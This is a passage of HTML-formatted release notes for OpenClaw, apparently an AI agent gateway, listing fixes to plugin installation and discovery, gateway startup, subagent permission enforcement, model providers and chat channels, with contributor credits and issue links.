<li>Gateway/startup: reuse config snapshot plugin manifests for startup auto-enable, config validation, and plugin bootstrap planning, including authored source config and disabled setup-probe handling, so restrictive allowlists avoid duplicate manifest/config passes during boot. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/subagents: enforce <code>subagents.allowAgents</code> for explicit same-agent <code>sessions_spawn(agentId=...)</code> calls instead of auto-allowing requester self-targets. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336117666" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72827/hovercard" href="https://github.com/openclaw/openclaw/issues/72827">#72827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oiGaDio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oiGaDio">@oiGaDio</a>.</li>
<li>ACP/sessions_spawn: let explicit <code>sessions_spawn(runtime="acp")</code> bootstrap turns run while <code>acp.dispatch.enabled=false</code> still blocks automatic ACP thread dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4229973496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63591" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63591/hovercard" href="https://github.com/openclaw/openclaw/issues/63591">#63591</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>CLI/update: install npm global updates into a verified temporary prefix before swapping the package tree into place, preventing mixed old/new installs and stale packaged files from breaking <code>openclaw update</code> verification. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway: skip CLI startup self-respawn for foreground gateway runs so low-memory Linux/Node 24 hosts start through the same path as direct <code>dist/index.js</code> without hanging before logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334377532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72720" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72720/hovercard" href="https://github.com/openclaw/openclaw/issues/72720">#72720</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sign-2025/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sign-2025">@sign-2025</a>.</li>
<li>Google Meet: route local Chrome joins through OpenClaw browser control, grant Meet media permissions, pin local Chrome audio defaults to <code>BlackHole 2ch</code>, and use the configured OpenClaw browser profile so joined agents no longer show <code>Permission needed</code> or use raw/default Chrome state. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>.</li>
<li>Plugins/discovery: follow symlinked plugin directories in global and workspace plugin roots while keeping broken links ignored and existing package safety checks in place. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4030788779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36754" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/36754/hovercard" href="https://github.com/openclaw/openclaw/issues/36754">#36754</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334070522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72695" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72695/hovercard" href="https://github.com/openclaw/openclaw/pull/72695">#72695</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225496480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63206" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63206/hovercard" href="https://github.com/openclaw/openclaw/pull/63206">#63206</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quackstro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quackstro">@Quackstro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ming1523/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ming1523">@ming1523</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xsfX20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xsfX20">@xsfX20</a>.</li>
<li>Plugins/install: skip test files and directories during install security scans while still force-scanning declared runtime entrypoints, so packaged test mocks no longer block plugin installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265051521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66840" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66840/hovercard" href="https://github.com/openclaw/openclaw/issues/66840">#66840</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267070478" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67050" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67050/hovercard" href="https://github.com/openclaw/openclaw/pull/67050">#67050</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/saurabhjain1592/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/saurabhjain1592">@saurabhjain1592</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Magicray1217/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Magicray1217">@Magicray1217</a>.</li>
<li>Plugins/install: allow exact package-manager peer links back to the trusted OpenClaw host package during install security scans while continuing to block spoofed or nested escaping <code>node_modules</code> symlinks. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319318874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70819" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70819/hovercard" href="https://github.com/openclaw/openclaw/pull/70819">#70819</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fgabelmannjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fgabelmannjr">@fgabelmannjr</a>.</li>
<li>Plugins/install: resolve plugin install destinations from the active profile state dir across CLI, ClawHub, marketplace, local path, and channel setup installs, so <code>openclaw --profile &lt;name&gt; plugins install ...</code> no longer writes into the default profile. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306498991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69960" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69960/hovercard" href="https://github.com/openclaw/openclaw/issues/69960">#69960</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306634637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69971/hovercard" href="https://github.com/openclaw/openclaw/pull/69971">#69971</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FrancisLyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FrancisLyman">@FrancisLyman</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Plugins/registry: suppress duplicate-plugin startup warnings when a tracked npm-installed plugin intentionally overrides the bundled plugin with the same id. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085889795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48673" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48673/hovercard" href="https://github.com/openclaw/openclaw/pull/48673">#48673</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abdushsk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abdushsk">@abdushsk</a>.</li>
<li>Plugins/startup: reuse canonical realpath lookups throughout each plugin discovery pass, including package and manifest boundary checks, so Windows npm-global startups no longer repeat expensive path resolution for the same plugin roots. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251504394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65733/hovercard" href="https://github.com/openclaw/openclaw/issues/65733">#65733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/welfo-beo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/welfo-beo">@welfo-beo</a>.</li>
<li>Gateway/proxy: pass <code>ALL_PROXY</code> / <code>all_proxy</code> into the global Undici env-proxy dispatcher and provider proxy-fetch helper while keeping SSRF trusted-proxy auto-upgrade on <code>HTTP_PROXY</code> / <code>HTTPS_PROXY</code> only, so gateway/provider calls honor all-proxy setups without weakening guarded fetches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4062862928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43821" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43821/hovercard" href="https://github.com/openclaw/openclaw/issues/43821">#43821</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063492398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43919" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43919/hovercard" href="https://github.com/openclaw/openclaw/pull/43919">#43919</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RickyTong1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RickyTong1">@RickyTong1</a>.</li>
<li>Reply/link understanding: keep media and link preprocessing on stable runtime entrypoints and continue with raw message content if optional enrichment fails, so URL-bearing messages are no longer dropped after stale runtime chunk upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4287281423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68466/hovercard" href="https://github.com/openclaw/openclaw/issues/68466">#68466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/songshikang0111/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/songshikang0111">@songshikang0111</a>.</li>
<li>Discord: persist routed model-picker overrides when the hidden <code>/model</code> dispatch succeeds but the bound thread session store is still stale, including LM Studio suffixed model ids. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208328194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61473/hovercard" href="https://github.com/openclaw/openclaw/pull/61473">#61473</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</li>
<li>Nodes/CLI: add <code>openclaw nodes remove --node &lt;id|name|ip&gt;</code> and <code>node.pair.remove</code> so stale gateway-owned node pairing records can be cleaned without hand-editing state files.</li>
<li>Gateway: include the connecting client and fresh presence version in the initial <code>hello-ok</code> snapshot, so clients no longer need a follow-up event before seeing themselves online.</li>
<li>Docker: install the CA certificate bundle in the slim runtime image so HTTPS calls from containerized gateways no longer fail TLS setup after the <code>bookworm-slim</code> base switch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335522675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72787" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72787/hovercard" href="https://github.com/openclaw/openclaw/issues/72787">#72787</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ryuhaneul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ryuhaneul">@ryuhaneul</a>.</li>
<li>Providers/OpenRouter: remove retired Hunter Alpha and Healer Alpha static catalog rows and disable proxy reasoning injection for stale Hunter Alpha configs, so replies are not hidden when OpenRouter returns answer text in reasoning fields. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063678295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43942" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43942/hovercard" href="https://github.com/openclaw/openclaw/issues/43942">#43942</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EvanDataForge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EvanDataForge">@EvanDataForge</a>.</li>
<li>Providers/reasoning: let Groq and LM Studio declare provider-native reasoning effort values, so Qwen thinking models receive <code>none</code>/<code>default</code> or <code>off</code>/<code>on</code> instead of OpenAI-only <code>low</code>/<code>medium</code> values. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4014930127" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/32638" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/32638/hovercard" href="https://github.com/openclaw/openclaw/issues/32638">#32638</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aqu1bp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aqu1bp">@Aqu1bp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mgoulart/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mgoulart">@mgoulart</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Norpps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Norpps">@Norpps</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BSTail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BSTail">@BSTail</a>.</li>
<li>Local models: default custom providers with only <code>baseUrl</code> to the Chat Completions adapter and trust loopback model requests automatically, so local OpenAI-compatible proxies receive <code>/v1/chat/completions</code> without timing out. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041547299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40024" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40024/hovercard" href="https://github.com/openclaw/openclaw/issues/40024">#40024</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/parachuteshe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/parachuteshe">@parachuteshe</a>.</li>
<li>Channels/message tool: surface Discord, Slack, and Mattermost <code>user:</code>/<code>channel:</code> target syntax in the shared message target schema and Discord ambiguity errors, so DM sends by numeric id stop burning retries before finding <code>user:&lt;id&gt;</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332209830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72401" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72401/hovercard" href="https://github.com/openclaw/openclaw/issues/72401">#72401</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/praveen9354/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/praveen9354">@praveen9354</a>.</li>
<li>Agents/tools: scope tool-loop detection history to the active run when available, so scheduled heartbeat cycles no longer inherit stale repeated-call counts from previous runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041859005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40144" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40144/hovercard" href="https://github.com/openclaw/openclaw/issues/40144">#40144</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrown319/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrown319">@mattbrown319</a>.</li>
<li>Agents/subagents: preserve requester delivery for completion announces across different channel accounts, keep same-channel thread completions routed to the child thread, and fail closed instead of guessing a child binding when requester conversation signal is missing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sfuminya/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sfuminya">@sfuminya</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/suyua9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/suyua9">@suyua9</a>.</li>
<li>Agents/status: persist the post-compaction token estimate from auto-compaction when providers omit usage metadata, so <code>/status</code> and session lists keep showing fresh context usage after compaction. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4275752212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67667" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67667/hovercard" href="https://github.com/openclaw/openclaw/issues/67667">#67667</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336026319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72822" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72822/hovercard" href="https://github.com/openclaw/openclaw/pull/72822">#72822</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jimmy-xuzimo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jimmy-xuzimo">@Jimmy-xuzimo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/skylight-9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/skylight-9">@skylight-9</a>.</li>
<li>Control UI: show loading, reload, and retry states when a lazy dashboard panel cannot load after an upgrade, so the Logs tab no longer appears blank on stale browser bundles. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332419371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72450" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72450/hovercard" href="https://github.com/openclaw/openclaw/issues/72450">#72450</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sobergou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sobergou">@sobergou</a>.</li>
<li>Gateway/plugins: start the Gateway in degraded mode when a single plugin entry has invalid schema config, and let <code>openclaw doctor --fix</code> quarantine that plugin config instead of crash-looping every channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222538957" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62976" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62976/hovercard" href="https://github.com/openclaw/openclaw/issues/62976">#62976</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312236696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70371" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70371/hovercard" href="https://github.com/openclaw/openclaw/issues/70371">#70371</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Doraemon-Claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Doraemon-Claw">@Doraemon-Claw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pksidekyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pksidekyk">@pksidekyk</a>.</li>
<li>Agents/plugins: skip malformed plugin tools with missing schema objects and report plugin diagnostics, so one broken tool no longer crashes Anthropic agent runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297771760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69423" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69423/hovercard" href="https://github.com/openclaw/openclaw/issues/69423">#69423</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmnickels/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmnickels">@jmnickels</a>.</li>
<li>Agents/reasoning: recover fully wrapped unclosed <code>&lt;think&gt;</code> replies that would otherwise sanitize to empty text while keeping strict stripping for closed reasoning blocks and unclosed tails after visible text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033641320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/37696" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/37696/hovercard" href="https://github.com/openclaw/openclaw/issues/37696">#37696</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114131932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51915/hovercard" href="https://github.com/openclaw/openclaw/pull/51915">#51915</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/druide67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/druide67">@druide67</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/okuyam2y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/okuyam2y">@okuyam2y</a>.</li>
<li>Control UI/Gateway: bind WebChat handshakes to their active socket and reject post-close server registrations, so aborted connects no longer leave zombie clients or misleading duplicate WebSocket connection logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334957430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72753/hovercard" href="https://github.com/openclaw/openclaw/issues/72753">#72753</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LumenFromTheFuture/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LumenFromTheFuture">@LumenFromTheFuture</a>.</li>
<li>Agents/fallback: split ambiguous provider failures into <code>empty_response</code>, <code>no_error_details</code>, and <code>unclassified</code>, and add flat fallback-step fields to structured fallback logs so primary-model failures stay visible when later fallbacks also fail. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329919349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71922/hovercard" href="https://github.com/openclaw/openclaw/issues/71922">#71922</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329116597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71744/hovercard" href="https://github.com/openclaw/openclaw/issues/71744">#71744</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyk-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyk-ms">@andyk-ms</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nikolaykazakovvs-ux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nikolaykazakovvs-ux">@nikolaykazakovvs-ux</a>.</li>
<li>Plugins/Windows: normalize Windows absolute paths before handing bundled plugin modules to Jiti, so Feishu/Lark message sending no longer fails with unsupported <code>c:</code> ESM loader URLs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335348867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72783/hovercard" href="https://github.com/openclaw/openclaw/issues/72783">#72783</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackychen-png/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackychen-png">@jackychen-png</a>.</li>
<li>CLI/doctor: run bundled plugin runtime-dependency repairs through the async npm installer with spinner/line progress and heartbeat updates, so long <code>openclaw doctor --fix</code> installs no longer look hung in TTY or piped output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335189382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72775" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72775/hovercard" href="https://github.com/openclaw/openclaw/issues/72775">#72775</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfpalhano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfpalhano">@dfpalhano</a>.</li>
<li>Feishu/Windows: normalize bundled channel sidecar loads before Jiti evaluates them, so Feishu outbound sends no longer fail with raw <code>C:</code> ESM loader errors on Windows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335348867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72783/hovercard" href="https://github.com/openclaw/openclaw/issues/72783">#72783</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackychen-png/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackychen-png">@jackychen-png</a>.</li>
<li>Agents/tools: ignore volatile <code>exec</code> runtime metadata when comparing tool-loop outcomes, so enabled loop detection can stop repeated identical shell-command results instead of resetting on duration, PID, session, or cwd changes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4022477859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/34574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/34574/hovercard" href="https://github.com/openclaw/openclaw/issues/34574">#34574</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048349125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41502" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41502/hovercard" href="https://github.com/openclaw/openclaw/pull/41502">#41502</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gucasbrg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gucasbrg">@gucasbrg</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zcg2021/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zcg2021">@Zcg2021</a>.</li>
<li>Agents/fallback: classify internal live-session model switch conflicts as unknown fallback failures instead of provider overloads, preventing local vLLM endpoints from receiving misleading overloaded cooldowns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225856098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63229/hovercard" href="https://github.com/openclaw/openclaw/issues/63229">#63229</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clawdia-lobster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clawdia-lobster">@clawdia-lobster</a>.</li>
<li>Discord: let thread sessions inherit the parent channel's session-level <code>/model</code> override as a model-only fallback without enabling parent transcript inheritance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335010108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72755" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72755/hovercard" href="https://github.com/openclaw/openclaw/issues/72755">#72755</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solavrc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solavrc">@solavrc</a>.</li>
